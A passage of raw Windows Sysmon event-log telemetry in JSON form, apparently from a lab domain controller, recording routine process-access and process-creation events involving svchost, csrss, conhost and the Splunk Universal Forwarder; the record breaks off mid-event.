C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3128,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3129,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3130,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3131,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-0010D1090500}\r\nTargetProcessId: 1512\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-0010D1090500}","TargetProcessId":"1512","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3132,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.579\r\nProcessGuid: {90617006-407A-5F2D-0000-00108C0A0500}\r\nProcessId: 812\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-407A-5F2D-0000-0010D1090500}\r\nParentProcessId: 1512\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: btool server list general --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.579","ProcessGuid":"{90617006-407A-5F2D-0000-00108C0A0500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-407A-5F2D-0000-0010D1090500}","ParentProcessId":"1512","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"btool server list general --no-log","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3133,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-407A-5F2D-0000-0010D1090500}\r\nSourceProcessId: 1512\r\nSourceThreadId: 5040\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-00108C0A0500}\r\nTargetProcessId: 812\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-407A-5F2D-0000-0010D1090500}","SourceProcessId":"1512","SourceThreadId":"5040","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-00108C0A0500}","TargetProcessId":"812","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3134,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-00108C0A0500}\r\nTargetProcessId: 812\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-00108C0A0500}","TargetProcessId":"812","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3135,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3136,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 